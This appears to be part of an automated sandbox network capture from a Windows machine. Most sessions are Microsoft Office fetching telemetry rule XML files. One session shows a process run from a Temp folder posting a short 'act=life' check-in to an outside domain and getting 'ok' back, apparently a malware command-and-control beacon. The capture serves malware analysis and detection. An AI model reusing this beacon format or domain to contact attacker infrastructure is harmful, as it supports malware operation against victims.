2024-11-23 19:23:12 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:13 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:13 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 87817176-601e-003e-034d-3c3248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192313Z-15b8b599d885v8r9hC1TEB104g00000003bg00000000f8h7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:13 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.4	49766	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:12 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:13 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:13 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 0498098b-f01e-0003-1354-3d4453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192313Z-15b8b599d88vp97chC1TEB5pzw000000039000000000eqpv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 19:23:13 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.4	49768	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:12 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:13 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:13 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: a24720e5-f01e-0096-3f65-3b10ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192313Z-178bfbc474bp8mkvhC1NYCzqnn00000004u000000000369f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:13 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.4	49770	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:13 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:13 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:13 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: db42c49d-901e-007b-4a2f-3cac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192313Z-178bfbc474b9fdhphC1NYCac0n00000004t000000000e66a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:13 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.4	49774	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:15 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:15 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:15 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: d6db62af-701e-0097-3243-3db8c1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192315Z-174c587ffdftv9hphC1TEBm29w000000038000000000fv6q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:15 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.4	49771	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:15 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:15 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:15 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: df8835e2-601e-0002-5b4e-3ca786000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192315Z-15b8b599d88qw29phC1TEB5zag00000003bg000000008rgu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:15 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.4	49773	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:15 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:15 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:15 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 5532245b-c01e-00ad-0e6f-3da2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192315Z-174c587ffdfmlsmvhC1TEBvyks00000003k00000000064hy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 19:23:15 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.4	49772	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:15 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:15 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:15 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: 64264af0-501e-005b-1fb0-3dd7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192315Z-174c587ffdfmlsmvhC1TEBvyks00000003eg00000000hytb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 19:23:15 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.4	49775	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:15 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:16 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:16 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: d83ea369-501e-000a-040c-3d0180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192316Z-178bfbc474bgvl54hC1NYCsfuw00000004t000000000k925 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:16 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	49777	104.21.33.116	443	8024	C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:17 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: property-imper.sbs
2024-11-23 19:23:17 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-23 19:23:17 UTC	1015	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=jks6abvobt3l8nhk80pnrvmdbg; expires=Wed, 19-Mar-2025 13:09:56 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Qlam6Jye8Rr1L8BevFRMFSwl25nrDh%2BVWn3AcwxcWkkOv%2BxX5lTFkgJJQHaSmZWXpr6WmJpCbmZvSJmm8Dzqljc4lFfVx%2Bq4xNEVkV3HxGEZFWGXwr4Uw3fmIUQ5ipg%2FT3BY4lA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e738868c9b90c7e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1479&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=909&delivery_rate=1888745&cwnd=231&unsent_bytes=0&cid=b22135cf6af4d7be&ts=755&x=0"
2024-11-23 19:23:17 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-23 19:23:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.4	49779	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:17 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:17 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:17 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 33a5509c-101e-00a2-2819-3d9f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192317Z-178bfbc474b9xljthC1NYCtw9400000004v0000000007vr2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:17 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.4	49778	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:17 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:18 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:17 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 4b4d3db7-601e-003d-0147-3c6f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192317Z-178bfbc474bmqmgjhC1NYCy16c00000004xg00000000d8bt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:18 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.4	49781	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
